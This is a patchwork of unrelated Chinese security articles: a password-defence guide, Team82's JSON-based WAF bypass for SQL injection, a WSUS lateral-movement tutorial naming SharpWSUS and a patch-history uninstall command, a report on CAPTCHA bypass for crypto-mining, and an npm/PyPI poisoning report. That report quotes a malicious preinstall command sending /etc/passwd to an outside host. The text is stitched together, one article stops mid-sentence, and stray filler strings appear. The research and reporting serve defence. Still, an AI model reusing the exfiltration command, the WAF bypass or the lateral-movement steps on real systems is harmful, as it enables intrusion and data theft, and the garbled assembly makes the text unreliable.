憑據填充。如果黑客知道受感染帳戶的用戶名和密碼,他們可以嘗試在該用戶可能擁有帳戶的多個系統中使用此組合。據Security eMagazine報導,53% 的人承認對不同的帳戶使用相同的密碼。

希望攻擊者無法破解您的Web 應用程序用戶的密碼不是一種選擇。因此,讓我們探討如何保護用戶數據免遭密碼破解,並減輕帳戶洩露帶來的網絡安全風險。

保護Web 應用程序免遭密碼破解的7 種方法為保護您產品的用戶帳戶不被洩露,您需要實施綜合方法。下面,我們將討論緩解密碼破解的七種最必要的網絡安全實踐。

image.png

保護Web 應用程序免遭密碼破解的7 種方法

1. 出台嚴格的密碼管理政策密碼越複雜,黑客破解它們的難度就越大。確保您的開發人員配置您的應用程序的密碼規則,以防止用戶創建弱憑據。

創建密碼規則列表時,請考慮研究頂級技術組織推薦和使用的內容。例如,您可以查看NIST 特別出版物800-63-3 數字身份指南中的密碼策略建議,並了解Microsoft 365和IBM Security Privileged Identity Manager等可靠產品推薦的密碼安全性。

密碼策略的常見最佳做法包括:

密碼應包含特殊符號、數字以及大小寫字母。

最小密碼長度應為八個符號。越長越好。

密碼應在指定的時間段內到期並更改:每月一次、每三個月一次、每年兩次等。

您的應用程序應具有密碼歷史記錄,以便當用戶更改密碼時,它可以根據所有以前的密碼檢查新密碼。只有當新密碼實際上是新的時,才應批准新密碼。

2.更改管理帳戶名稱避免使用明顯的管理帳戶用戶名,例如“administrator”、“admin”或“root”。此類用戶名很可能成為威脅行為者發起密碼破解攻擊的首要目標。

3.啟用多重身份驗證使用多重身份驗證(MFA) 保護用戶對您的應用程序的訪問。此類身份驗證工具使用戶在登錄應用程序之前執行兩個或更多步驟。

第一步通常需要傳統的登錄名和密碼。在以下步驟中,可能會要求用戶從短信中輸入安全代碼、使用令牌、提供指紋等。

即使威脅行為者成功猜出憑據,MFA 也將成為訪問用戶帳戶的另一個障礙。

4.建立用戶活動監控考慮將用戶活動監控解決方案作為Web 應用程序安全性的一部分。此類解決方案收集有關您基礎設施內所有用戶活動的信息,因此如果出現可能是密碼破解攻擊跡象的異常用戶行為,您可以發現它。

用戶監控解決方案通常與人工智能驅動的訪問控制工具等複雜軟件一起使用,這些軟件可以分析收集到的用戶活動數據、檢測異常情況,並阻止可疑的登錄嘗試或通知安全工程師潛在威脅。

例如,此類解決方案可以保存設備詳細信息和用戶機器的IP 地址。如果有人試圖從不同的IP 地址或設備登錄,訪問控制工具可以應用其他MFA 方法或限制訪問。

5. 將對服務器的遠程訪問限制為受信任的IP您的管理員和工程師帳戶也可能遭受密碼破解攻擊。因此,請確保僅為受信任的IP 地址啟用對服務器的遠程訪問。

例如,您可以為需要在日常工作中訪問服務器的工程師提供IP 地址的訪問權限。為此,您可以使用防火牆(如果您使用雲提供商服務,則可以使用安全組)。

6.為工程師啟用安全密鑰需要遠程訪問服務器的工程師應該生成安全密鑰。例如,這些可以是用於SSH 訪問的SSH 密鑰。這樣,管理員可以安全地遠程連接到服務器或其他機器,而無需使用登錄名和密碼。 SSH 密鑰身份驗證可保護對服務器的訪問並加密客戶端和服務器之間傳輸的流量。

另一種無密碼訪問服務器的方法是使用硬件安全密鑰,如FIDO2或Google Titan。這些是可以用來代替常見身份驗證方法的USB 設備。

在這種情況下,應禁用使用登錄名和密碼訪問服務器。應該只允許鑰匙持有者進入。如果密碼不存在,則無法破解。

7.使用密碼破解保護服務最後但並非最不重要的一點是,有一些專門用於保護服務免遭密碼破解的工具。

通常,此類工具會自動掃描登錄嘗試並阻止顯示惡意跡象的IP 地址,例如密碼失敗次數過多。這些工具中最受歡迎的是:

SSH衛士

IPBan Pro

間諜日誌

Fail2ban

在Apriorit,我們更喜歡使用Fail2ban,因為它使用起來很方便,並且可以有效地阻止潛在的惡意身份驗證嘗試。在下一章中,讓我們了解Fail2ban,並討論如何在實踐中配置和使用它。

JSON 語法自2012 年開始作為新特性被各類SQL 數據庫支持,目前所有主流數據庫都已支持JSON 語法,但目前的主流WAF並沒有做相應跟進,從而可以被繞過。

Team82開發了一種通用的繞過行業領先的web應用程序防火牆(WAF)的方法。 攻擊技術包括將JSON語法附加到WAF無法解析的SQL注入有效負載。

主要的WAF供應商在他們的產品中缺乏JSON支持,儘管大多數數據庫引擎已經支持了十年。 大多數WAF可以很容易地檢測到SQLi攻擊,但是將JSON前置SQL語法使WAF無法檢測到這些攻擊。

使用這種技術的攻擊者將能夠繞過WAF的保護,並使用其他漏洞來竊取數據。

簡介Web應用防火牆(WAF)旨在保護基於Web的應用程序和API免受惡意外部HTTPs流量的影響,尤其是跨站腳本和SQL注入攻擊,這些攻擊危險似乎還未解除。

WAF的引入在很大程度上是為了應對這些編碼錯誤。 WAF現在是保護存儲在數據庫中的組織信息的關鍵防線,這些信息可以通過web應用程序訪問。 WAF也越來越多地用於保護基於雲的管理平台,這些管理平台監督連接的嵌入式設備,如路由器和接入點。

能夠繞過WAF的流量掃描和攔截功能的攻擊者通常可以直接訪問敏感的業務和客戶信息。值得慶幸的是,這樣的繞過並不常見,而且針對特定供應商的實現是一次性的。

目前,Team82引入了一種攻擊技術,它是業界領先供應商銷售的多個web應用程序防火牆的第一個通用繞過。該繞過適用於五個主要供應商銷售的WAF: Palo Alto, F5, Amazon Web Services, Cloudflare和Imperva。目前,所有受影響的供應商都承認Team82的披露,並實施了修復,將JSON語法支持添加到其產品的SQL檢查過程中。

Team82的技術首先依賴於理解WAF如何識別和標記惡意SQL語法,然後找到WAF看不到的SQL語法。這是JSON。 JSON是一種標準的文件和數據交換格式,通常用於將數據從服務器發送到web應用程序。

在SQL數據庫中引入JSON支持可以追溯到大約10年前。現在的數據庫引擎默認支持JSON語法、基本搜索和修改,以及一系列JSON函數和操作符。雖然JSON支持是數據庫引擎的標準,但WAF卻並非如此。供應商在添加JSON支持方面一直進展緩慢,這使得Team82能夠創建新的SQL注入有效負載,其中包括繞過WAF提供的安全性的JSON。

使用這種新技術的攻擊者可以訪問後端數據庫,並使用額外的漏洞,通過直接訪問服務器或通過雲竊取信息。

這對於已經轉向基於雲的管理和監控系統的運行和物聯網平台尤為重要。 WAF提供了來自云的額外安全性的承諾,能夠繞過這些保護的攻擊者可以廣泛地訪問系統。

Team82在去年開發了這項技術,當時他們正在對Cambium Networks的無線設備管理平台進行不相關的研究,包括其內部或云端銷售的cnMaestro無線網絡管理器。

1.png

Cambium Networks無線接入點

2.png

Cambium的cnMaestro雲架構允許用戶從雲端遠程配置和控制他們的AP Wi-Fi設備

為了了解平台是如何構建的,以及它的許多內部API和路由,Team82從Cambium的網站下載了cnMaestro內部部署的開放虛擬化格式虛擬機。

Team82了解到cnMaestro是由許多不同的NodeJS後端服務構建的,這些服務處理用戶對特定路由的請求。這些服務都有輕微的混淆,使得研究平台變得困難。為了將每個請求代理到正確的服務,Nginx被用來通過所請求的URL來傳遞請求。

cnMaestro提供了兩種不同的部署類型:

本地部署:創建一個由用戶託管和管理的專用cnMaestro服務器。

雲部署:位於Cambium Networks雲基礎設施上的cnMaestro服務器,cnMaestro的所有此類實例都以多租戶架構託管在Cambium組織下的Amazon AWS雲上。

雲部署託管在亞馬遜AWS上的cnMaestro雲部署包括一個cnMaestro的主要實例(託管在https://cloud.cambiumnetworks.com上),它處理登錄、設備部署,並將大部分平台數據保存在主數據庫中。

任何註冊到cnMaestro Cloud應用程序的用戶都會獲得一個個人Amazon AWS實例,其中包含個人URL (Cambium主雲的子域)和組織標識符。這有助於在多租戶設計中分離不同的用戶。為了訪問你的cnMaestro實例,將按照以下方案生成一個唯一的URL:https://us-e1-sXX-XXXXXXXXXX.cloud.cambiumnetworks.com

在Team82對Cambium cnMaestro的研究結束時,他們發現了7個不同的漏洞,可以在這里和Team82的披露儀表板上看到。然而,一個特別的漏洞讓Team82陷入了一個巨大的兔子洞,導致Team82發現並開發了這項新技術。

很難利用的零日漏洞Team82發現的一個特殊的Cambium漏洞被證明更難利用:CVE-2022-1361。該漏洞的核心是一個簡單的SQL注入漏洞,但實際的開發過程需要Team82跳出思維定式,創建一個全新的SQL技術。利用這個漏洞,Team82能夠竊取用戶的會話、SSH密鑰、密碼哈希、令牌和驗證碼。

此漏洞的核心問題是,在這種特殊情況下,開發人員沒有使用準備好的語句將用戶提供的數據附加到查詢中。他們沒有使用將用戶參數附加到SQL查詢並清除輸入的安全方法,而是直接將其附加到查詢中。

3.png

Team82在CVE-2022-1361中濫用的SQL注入匯點

正如我們在上面的匯點中看到的,應用程序接受用戶提供的數據(在本例中為a.serialNo或a.mac),並將其附加到SQL查詢中。我們使用此漏洞的目的是過濾存儲在數據庫中的敏感數據。然而,雖然這看起來很簡單,但在快速分析了該漏洞後,我們意識到它有三個關鍵漏洞/限制:

Team82只能檢索作為返回行的整數;

返回的行按隨機順序返回;

在每個請求中,Team82只能返回有限數量的行。

讓我們深入分析這些限制。

限制1:Team82只能檢索整數第一個限制只返回整數,而不返回字符串。由於原始請求返回整數,我們將使用的任何联合語句也必須返回整數。在SQL中,如果執行聯合操作,則必須確保兩列的類型相同,並且由於一方獲取整數,因此我們也必須返回整數。由於我們要過濾的數據很可能是字符串(會話令牌、SSH密鑰等),因此我們必須以某種方式獲得過濾字符串的能力。

通過將想要過濾的任何字符串轉換為整數數組,並將每個字符作為單獨的行返回,可以輕鬆克服這一限制。為此,Team82使用了stringarray和ASCIISQL函數。

4.1.png

4.2.png

一個SQL查詢,返回字符串作為其字符的整數列表

限制2:返回的行按隨機順序返回第二個限制是,當Team82返回多行時,web服務器將以隨機順序返回給Team82。當Team82查看漏洞後執行的代碼時,Team82看到對於SQL查詢返回的每一行,服務器將執行一些其他異步操作(這可以通過調用async.parale函數看到)。這意味著返回行的原始順序將不會被保留,相反,該順序將是異步操作完成的順序。

這意味著,如果Team82將字符串作為整數數組進行過濾,就會丟失字符順序,從而使過濾變得無關緊要。

Team82通過添加行索引來克服這一限制,行索引使用row_number SQL函數將字符串中字符的索引轉換為返回的整數。因為Team82只返回ASCII字符,所以每個字符的值被限制為128。通過將索引號乘以1000 (i * 1000)並將其附加到結果中,Team82總是可以通過簡單的除法和模塊操作來確定字符索引。

5.1.png

5.2.png

一個SQL有效負載,返回字符串中每個字母的ascii值,加上字符的索引乘以1000

在檢索到過濾的數據之後,Team82可以簡單地將每個返回行除以1000,以了解字符索引。 Team82還可以通過對返回值使用模塊操作來恢復原始字符ASCII值。

限制3:在每個請求中只能返回有限數量的行最後一個限制是最難克服的:超時問題。對於返回的每一行,服務器都執行了一些其他操作,包括另一個SQL查詢和數據操作。當我們試圖檢索大量行時,請求超時。更糟糕的是,API端點相當慢,因此每次檢索一行非常耗時。

Team82的解決方案實際上非常高級,Team82不是為每個字符返回一行,而是從許多行中構造一個整數。這是可能的,因為整數和字符之間的字節大小不同。在PostgreSQL中,一個整數是4字節長,而Team82試圖過濾的字符是1字節長(只要是ascii字符)。這意味著通過執行簡單的字節操作,Team82可以在每個整數中容納四個不同的字符。此外,如果Team82在union命令中將整數轉換為BIGINT,這在PostgreSQL中是可能做到的,Team82可以將每行擴展為8字節。

6.png

PostgreSQL類型大小

這意味著,如果要為Team82過濾的每個字符附加8個字節,並將其附加到BIGINT中,Team82可以在每個請求中過濾7倍多的字符(1個字節保留給字符索引)。

7.1.png

7.2.png

一個SQL查詢,它接受一個字符串,並每隔幾個字符創建一個BIGINT

使用這種方法,Team82能夠在每個請求中提取多達8倍的數據。這減少了Team82竊取大量數據所需的時間,並使攻擊場景變得可信。

構建有效負載在Team82繞過所有三個限制之後,Team82就得到了一個大的有效負載,允許提取任何Team82選擇的數據:

8.png

事實上,當Team82使用這個有效負載時,Team82設法竊取了存儲在數據庫中的敏感信息,從會話cookie到令牌,SSH密鑰和哈希密碼。

9.png

使用SQLi有效負載提取的數據示例

雲端漏洞在成功利用了雲部署漏洞後,下一步是在Cambium的雲端嘗試相同的漏洞。很快,Team82就找到了相應的雲路由,並成功確認它也容易受到同樣的漏洞的攻擊。然後Team82嘗試了一個安全版本的有效負載,並收到了這樣的響應。

10.png

對SQL注入漏洞的響應,可以看到Team82的請求被釋放了,返回一個403 Forbidden

接下來,我們注意到了包含awselb/2.0的HTTP服務器,這意味著,應用程序並沒有停止Team82的請求,而是AWS WAF釋放了Team82的請求,因為它可能將其標記為惡意請求。

對AWS WAF的研究為了研究AWS WAF,我們首先創建了自己的設置,在其中控制所有的活動部件:應用程序、客戶端和WAF設置和日誌。我們在AWS雲上創建了一個簡單的設備,並設置了AWS WAF來保護應用程序免受惡意請求(Team82設置了WAF)。

11.png

用於配置WAF規則集的界面

然後,Team82創建了一個帶有SQLi漏洞的web應用程序,並將其託管在AWS上。

12.png

Team82創建的易受攻擊的Flask web應用程序

最後,Team82開始發送數百個自定義的請求,試圖分析WAF是如何將請求標記為惡意的。

13.png

被WAF標記為惡意的請求被阻止,在這個請求中,Team82傳遞一個通用的SQLi有效負載,它由WAF標記

WAF通常有兩種方法將請求標記為惡意:

搜索黑名單單詞:WAF可以搜索它並將其識別為SQL語法的單詞,如果請求中存在太多匹配項,它會將該請求標記為惡意SQLi嘗試。

從請求中解析SQL語法:WAF可以嘗試使用請求的不同部分解析有效的SQL語法,如果WAF成功識別SQL語法,它將標記該請求為惡意SQLi嘗試。

雖然大多數WAF除了使用WAF特有的方法外,還會使用這兩種方法的組合,但它們都有一個共同的漏洞:它們需要WAF識別SQL語法。這引發了Team82的興趣:如果Team82能夠找到WAF無法識別的SQL語法,該怎麼辦?

SQL JSON目前,JSON已經成為數據存儲和傳輸的主要形式之一。為了支持JSON語法,並允許開發人員以類似於在其他應用程序中與數據交互的方式與數據交互,SQL中需要JSON支持。

目前,所有主要的關係數據庫引擎都支持原生JSON語法,這包括MSSQL, PostgreSQL, SQLite和MySQL。此外,在最新版本中,所有數據庫引擎默認啟用JSON語法,這意味著它在今天的大多數數據庫設置中很普遍。

開發人員選擇在SQL數據庫中使用JSON特性,原因有很多,首先是更好的性能和效率。由於許多後端已經使用JSON數據,因此在SQL引擎本身執行所有數據操作和轉換可以減少所需的數據庫調用數量。此外,如果數據庫可以使用JSON數據格式(後端API很可能也會使用JSON數據格式),那麼所需的數據預處理和後處理就會更少,從而允許應用程序立即使用它。

通過在SQL中使用JSON,應用程序可以在SQL API中獲取數據、從數據庫中組合多個數據源、執行數據修改並將其轉換為JSON格式。然後,應用程序可以接收json格式的數據並立即使用它,而不需要處理數據。

14.png

在SQL中使用JSON的數據流,允許開發人員在SQL中使用JSON API更好地與數據交互

雖然每個數據庫都選擇了不同的實現和JSON解析器,但每個數據庫都支持不同範圍的JSON函數和操作符。此外,它們都支持JSON數據類型和基本的JSON搜索和修改。

15.png

對每個主要數據庫的JSON支持級別

然而,儘管所有的數據庫引擎都增加了對JSON的支持,但並不是所有的安全工具都增加了對這個“新”特性的支持。安全工具中缺乏支持可能會導致安全工具(在Team82的例子中是WAF)和實際數據庫引擎之間的原語解析不匹配,並導致SQL語法錯誤識別。

The New ‘ or ‘a’=’a

使用JSON語法,可以創建新的SQLi有效負載。由於這些有效負載不為人所知,它們可以繞過許多安全工具。使用來自不同數據庫引擎的語法,Team82能夠在SQL中編譯以下真實語句列表:

16.png

使用JSON語法

從Team82對WAF如何將請求標記為惡意的理解中,可以得出結論,Team82需要找到WAF無法理解的SQL語法。如果Team82可以提供一個SQLi有效負載,WAF不會將其識別為有效SQL,但數據庫引擎會解析它,Team82實際上就可以實現繞過。

事實證明,JSON正是WAF解析器和數據庫引擎之間的這種不匹配。當Team82傳遞使用不太流行的JSON語法的有效SQL語句時,WAF實際上並沒有將請求標記為惡意請求。

17.png

下面是一個惡意的SQLi有效負載,包含JSON語法。正如Team82所看到的,WAF並沒有將該請求標記為惡意請求,也沒有釋放它

這個簡單的JSON運算符,在本例中是@,它檢查右邊的JSON是否包含在上面左邊的JSON中,它將WAF放入一個循環中,並允許Team82提供惡意的SQLi有效負載,從而允許Team82繞過WAF。通過簡單地在請求的開頭預先添加簡單的JSON語法,Team82就能夠在雲上使用SQLi漏洞竊取敏感信息!

18.png

利用雲上的SQL注入漏洞

常見的WAF繞過上述繞過的核心問題是數據庫引擎和SQLi檢測解決方案之間缺乏一致性,這是因為SQL中的JSON並不是一個流行和廣為人知的特性,而且它的語法沒有添加到WAF解析器中。

然而,Team82認為這個問題可能不僅僅與這個WAF供應商有關,可能其他供應商也沒有添加對JSON語法的支持。所以Team82採用了易受攻擊的web應用程序,並在大多數主要WAF供應商上創建了一個設置。幾天后,Team82發現JSON語法可以繞過他們檢查過的大多數供應商:

Palo-Alto下一代防火牆

F5 Big-IP

Amazon AWS ELB

Cloudflare

Imperva

19.png

Team82使用JSON語法繞過的WAF供應商和產品列表

Team82成功地繞過了這麼多大型WAF產品,如果Team82的有效負載有任何變化,這意味著Team82有一個通用的WAF繞過。這意味著即使不知道Team82和目標之間的WAF是什麼,Team82仍然可以利用SQL注入漏洞,繞過WAF的保護。

自動化流程為了研究這種WAF繞過的危害有多大,Team82決定在最大的開源開

0x00 前言在內網滲透中,當我們獲得了WSUS服務器的控制權限後,可以通過推送補丁的方式進行橫向移動。這個利用方法最早公開在BlackHat USA 2015。本文將要整理這個利用方法的相關資料,結合思路,得出行為檢測的方法。

0x01 簡介本文將要介紹以下內容:

環境搭建

利用思路

實現工具

行為檢測

0x02 環境搭建本節介紹WSUS服務器搭建的過程,通過配置客戶端實現補丁的推送

參考資料:

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-r2-and-2008/dd939822(v=ws.10)

1.WSUS服務器搭建WSUS服務器需要安裝在Windows Server操作系統

(1)安裝

在添加角色和功能頁面,選擇Windows Server Update Services

需要指定補丁更新包的存放路徑,這裡可以設置為C:\WSUS

(2)配置

打開Windows Server Update Services進行配置

配置時選擇默認選項即可,在選擇Download update information from Microsoft Update時,點擊Start Connecting,如果報錯提示An HTTP error has occurred,經過我的多次測試,可以採用以下方法解決:

關閉當前頁面

進入Windows Server Update Services,選擇synchronization,點擊synchronization Now,等待同步完成,如下圖

1.png選擇Options,選擇WSUS Server Configuration Wizard,重新進入配置頁面,連接成功,如下圖

2.png配置完成後需要創建計算機組,如下圖

3.png

當同步完成後,會提示下載了多少個補丁,如下圖

4.png選擇Updates頁面,可以查看已下載的補丁,Unapproved表示未安裝的補丁,安裝後的補丁可以選擇Approved進行查看,如下圖

5.png選中一個補丁,點擊Approve.彈出的對話框可以針對指定計算機組安裝補丁,如下圖

6.png2.客戶端配置客戶端只要是Windows系統即可,需要通過組策略配置

依次選擇Computer Configuration-Administrative Templates-Windows Components-Windows Update,選擇Configure Automatic Updates,設置成Auto download and notify for install,選擇Specify intranet Microsoft update service location,設置更新服務器地址為http://192.168.1.182:8530

注:

需要指定端口8530

對於域環境,配置組策略後需要等待一段時間,這是因為組策略每90分鐘在後台更新一次,隨機偏移量為0-30分鐘,如果想立即生效,可以輸入命令:gpupdate /force

對於工作組環境,配置組策略可以立即生效

當客戶端開始補丁更新時,WSUS服務器會獲得客戶端的信息,並顯示在Computers頁面

組策略配置的操作等同於創建註冊表,具體信息如下:

(1)組策略配置自動更新後會創建註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU

查詢命令:REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU'

返回結果示例:

7.png其中AUOptions對應組策略配置中的Configure automatic updating,2代表Notify for download and notify for install,3代表Auto download and notify for install,4代表Auto download and schedule the install,5代表Allow local admin to choose setting

(2)組策略配置服務器地址後會創建註冊表HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate

查詢命令:REG QUERY 'HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate'

返回結果示例:

8.png3.推送補丁在WSUS服務器的Windows Server Update Services頁面,選擇指定補丁,右鍵點擊Approve.在彈出的對話框中選擇計算機組即可

等待客戶端到達補丁更新時間,即可完成補丁的推送

0x03 利用思路如果我們能夠生成一個帶有Payload的補丁,就能夠通過補丁進行橫向移動,但是在利用上需要注意補丁文件的簽名問題:Windows的補丁文件需要帶有微軟的簽名

通常的利用方法是使用帶有微軟簽名的程序,例如psexec,通過psexec執行命令或者添加一個管理員用戶

0x04 實現工具開源的工具有以下三個:

https://github.com/nettitude/SharpWSUS

https://github.com/AlsidOfficial/WSUSpendu

https://github.com/ThunderGunExpress/Thunder_Woosus

以上三個工具的實現原理基本相同,都是創建一個調用psexec執行命令的補丁,將補丁推送至指定計算機,等待目標計算機更新補丁

創建補丁的操作需要連接SQL數據庫,依次實現以下操作:

ImportUpdate

PrepareXMLtoClient

InjectURL2Download

DeploymentRevision

PrepareBundle

PrepareXMLBundletoClient

DeploymentRevision

1.創建補丁SharpWSUS在創建補丁時需要注意轉義字符,命令示例:

9.png這條命令將會在Updates的Security Updates頁面下創建WSUSDemo,如下圖

10.png2.補丁部署將補丁部署到指定計算機組,命令示例:

11.png這條命令會創建計算機組Demo Group,並且把win-iruj9k30gr7移動到該組下面,如下圖

12.png接下來需要等待客戶端安裝這個補丁

3.查看補丁狀態查看補丁是否被安裝,命令示例:

13.png補丁未安裝的輸出如下:

14.png還有一種查看方法是查看計算機的補丁更新時間,示例命令:SharpWSUS.exe inspect

輸出示例:

15.png為了便於測試,可以強制客戶端更新補丁,看到新的補丁信息,如下圖

16.png4.清除補丁信息命令示例:

17.png這條命令會刪除補丁,刪除添加的計算機組

在整個補丁更新過程中,WSUS服務器會將psexec.exe保存在WSUS服務器本地C:\wsus\wuagent.exe和C:\wsus\WsusContent\8E\FD7980D3E437F28000FA815574A326E569EB548E.exe,需要手動清除

在測試WSUSpendu時,為了便於分析細節,可以修改以下代碼:

18.png命令行執行:powershell -ep bypass -f WSUSpendu.ps1 -Verbose,將會輸出完整的信息

0x05 行為檢測客戶端的補丁歷史更新記錄會保存所有的補丁安裝信息:

如下圖

19.png

但是,攻擊者如果獲得了系統的管理員控制權限,可以通過命令行卸載補丁的方式清除歷史更新記錄,命令行卸載補丁的命令示例:

查看更新:wmic qfe list brief/format:table

卸載指定更新:wusa /uninstall /kb:976902 /quiet /norestart

0x06 小結本文介紹了通過WSUS進行橫向移動的方法和實現工具,結合利用思路,給出行為檢測的建議。

參考資料:

https://www.blackhat.com/docs/us-15/materials/us-15-Stone-WSUSpect-Compromising-Windows-Enterprise-Via-Windows-Update.pdf

https://www.gosecure.net/blog/2020/09/03/wsus-attacks-part-1-introducing-pywsus/

https://labs.nettitude.com/blog/introducing-sharpwsus/

Automated Libra黑客組織通過CAPTCHA繞過技術自動賬號創建,進行加密貨幣挖礦。

近期,南非黑客組織'Automated Libra'通過CAPTCHA繞過技術實現自動賬號創建,在雲平台創建賬戶,利用免費的資源進行加密貨幣挖礦來獲利。

Automated Libra是位於南非的黑客組織,也是freejacking攻擊活動PurpleUrchin背後的黑客組織。 Freejacking 是使用免費云資源來執行加密貨幣挖礦活動的過程。 Unit 42 研究人員分析了Automated Libra的250GB數據,發現了黑客的基礎設施、歷史和使用的技術。黑客使用簡單的圖像分析技術繞過CAPTCHA圖像,實現雲平台自動化賬號創建,每分鐘可以成功創建3-5個GitHub賬戶。 Unit 42研究人員成功發現了黑客在PurpleUrchin攻擊活動中使用的40個加密貨幣錢包和7種不同的加密貨幣。

利用GitHub工作流進行加密貨幣挖礦Automated Libra在針對GitHub的攻擊活動中融合了Play and Run以及freejacking技術。此外,攻擊者還利用了GitHub CAPTCHA檢查的弱點。

攻擊者以平均每分鐘3-5個的速度自動創建GitHub賬號。創建GitHub賬號後,就開始了freejacking攻擊活動。

攻擊者在不同的VPS(virtual private server)提供商和雲服務提供商平台上創建了超過13萬個賬戶,但是並沒有付費。這些創建的賬戶使用的都是虛假的個人信息以及信用卡信息。這使得攻擊者可以在完成加密貨幣挖礦活動後並未完成付費。

自動化賬號創建創建GitHub賬戶的第一步是輸入郵件地址、密碼和用戶名,如圖1所示:

image.png圖1. GitHub表單完成

容器運行虛擬網絡計算(VNC)服務器:使用如下命令啟動Iron瀏覽器:

image.png

圖2. VNC服務器展示Iron瀏覽器

然後使用xdotool工具,該工具是完成GitHub表單的主要腳本。表單完成後,GitHub會提示CAPTCHA:

image.png

圖3. GitHub CAPTCHA

攻擊者使用了一個非常簡單的機制來解決CAPTCHA問題。從攻擊者創建的GitHub賬戶統計數據來看,攻擊者實現CAPTCHA繞過的方法非常有效。

利用CAPTCHA的弱點為繞過CAPTCHA需要識別圖片背景中的星系,攻擊者使用了ImageMagick工具套件中的2個工具:convert 和identify。

首先,使用convert工具將圖像轉化為RGB格式。

image.png

圖4將圖像轉化為RBG

轉化完成後,使用identify命令來提取red 通道的skewness 特徵:

image.png

圖5. 提取red 通道的skewness 特徵的命令

最終的結果如圖6所示,以從大到小的順序排序。值最小的圖像就是背景圖片,比如:

image.png

圖6. 每個圖片的red通道輸出

圖4中的image 2就是識別出的星系背景圖片。 CAPTCHA解決後,GitHub需要一個啟動碼,如圖7所示:

image.png

圖7. GitHub 請求啟動碼

攻擊者使用Gmail賬號來自動獲取啟動碼。這一過程使用了IMAP協議和PHP腳本來讀取收到的IMAP消息。

啟動碼輸入後,自動化過程就可以生成個人訪問token。 GitHub註冊過程的最終結果是一個用戶名和GitHub部署的個人訪問token。

image.png

圖8. 調用運行的容器

隨後,容器執行以下操作:

設置SSH 密鑰;

使用GitHub API創建GitHub庫;

配置創建的庫的權限。

此外,攻擊者還使用基於MD5哈希值的隨機名來對庫進行命名。

image.png

圖9. 對庫進行隨機命名的命令

GitHub庫創建完成後,攻擊者調用一個bash腳本來用目標工作流來更新庫。工作流是用PHP腳本生成的, PHP模板編碼的工作流示例如圖10所示:

image.png

圖10. PHP模板

研究人員發現其中的一個工作流中有64個任務。生成的工作流配置為github.event.client_payload.app事件下的repository_dispatch運行。工作流機制允許攻擊者執行外部應用。在本例,攻擊者運行外部bash腳本和容器,如圖11所示:

image.png

圖11. 執行外部應用的工作流機制

工作流運行的bash腳本是從外部域名訪問的。攻擊者運行的容器是用來安裝和初始化加密貨幣挖礦功能的,如圖12所示:

image.png

圖12. 加密貨幣挖礦容器

生成的工作流運行64個任務,每個任務都從5個可用的唯一配置中隨機選擇一個。

經過確認的攻擊者創建的GitHub賬戶數如下圖所示。

image.png

圖13. PurpleUrchin攻擊者創建的GitHub賬戶數

此外,攻擊者還在Heroku、Togglebox、GitHub等不同雲平台服務商創建了超過13萬用戶賬戶。

概述懸鏡供應鏈安全情報中心通過持續監測全網主流開源軟件倉庫,結合程序動靜態分析方式對潛在風險的開源組件包進行動態跟踪和捕獲,發現大量的開源組件惡意包投毒攻擊事件。在2024年2月份,懸鏡供應鏈安全情報中心在NPM官方倉庫(https://www.npmjs.com)和Pypi官方倉庫(https://pypi.org)共捕獲503個不同版本的惡意組件包,其中NPM倉庫投毒佔比89.46%, Pypi倉庫投毒佔比10.54%,NPM倉庫依舊是開源組件包投毒的重災區。

图片

2024年2月份投毒包總量

图片

2024年2月份投毒包每日統計

結合源代碼分析、動態行為監控等方式,我們對2月份捕獲的開源組件投毒包進行多維度分析,總結統計出主流的攻擊方式和惡意行為標籤。

投毒攻擊方式主要包括:

马云惹不起马云惡意文件執行

马云惹不起马云代碼混淆執行

马云惹不起马云惡意文件下載

马云惹不起马云shell命令執行

马云惹不起马云惡意文件釋放

其中,惡意文件執行是最常用的攻擊方式(佔比78.13%),其主要攻擊流程是利用開源組件包管理器在安裝組件包過程中利用自定義的惡意指令來加載並執行內置在組件包中的惡意文件(py、pyc、js、shell、pe、dll、elf、so等)。此外,在組件安裝包中直接嵌入惡意shell命令(佔比8.87%)、惡意文件下載(佔比4.28%)及惡意文件釋放後執行也是投毒者慣用的攻擊手法。為了逃避安全檢測,部分惡意包使用了代碼編碼、加密及混淆(佔比7.61%)等方式進行惡意代碼隱藏。

图片

攻擊方式統計

在所有投毒包的惡意行為中,竊取系統信息佔比超過85%,信息竊取的主要目標是開發者係統的密碼文件、用戶信息、網絡配置、系統版本、DNS服務器IP、系統外網IP、瀏覽器Cookie等敏感數據。其次,遠控木馬和反向shell後門攻擊緊隨其後(兩者之和占比約10%)。此外,在2月裡捕獲到多起盜取數字錢包客戶端敏感數據的投毒攻擊。值得一提的是,我們在NPM組件投毒中首次捕獲到通過添加Linux系統後門賬戶進行遠程控制的攻擊手段。

图片

惡意標籤統計

投毒案例分析本節將從2月份捕獲的開源組件惡意包中精選部分具有代表性的投毒樣本進行分析,還原投毒者的攻擊方式和細節。

Part1敏感信息竊取Python惡意包djanggo利用包名錯誤拼寫(typo-squatting)來偽裝成知名Python WEB組件django,以此迷惑混淆Python開發者誤安裝該惡意包。

图片

知名Python組件django

djanggo惡意包通過在安裝文件setup.py中重定義cmdclass install及egg_info實現在安裝時自動觸發執行惡意函數RunCommand()。

图片

RunCommand()函數內部通過subprocess模塊調用Linux系命令curl將當前系統環境變量、進程列表等信息通過HTTP POST外傳到攻擊者服務器上。

图片

此外,多個NPM惡意組件包(lib-comdig、bubble-dev)在安裝過程中存在竊取系統密碼文件的行為。以惡意包bubble-dev為例,其安裝包的package.json文件中包含惡意shell命令:

图片

攻擊者嘗試利用preinstall指令在NPM包安裝前執行惡意命令將系統/etc/passwd密碼文件及主機名等敏感信息外傳到攻擊者服務器上。

/usr/bin/curl--data'@/etc/passwd'$(hostname).7ksx7nnc5joia8xbftjmkh69s0ysmh.burpcollaborator.netPart2系統後門賬戶NPM惡意包browser-spoof在安裝時會執行惡意代碼index2.js, index2.js將從CDN服務器上拉取惡意bash文件sh.sh到受害者係統上執行。

图片

bash惡意代碼如下所示:

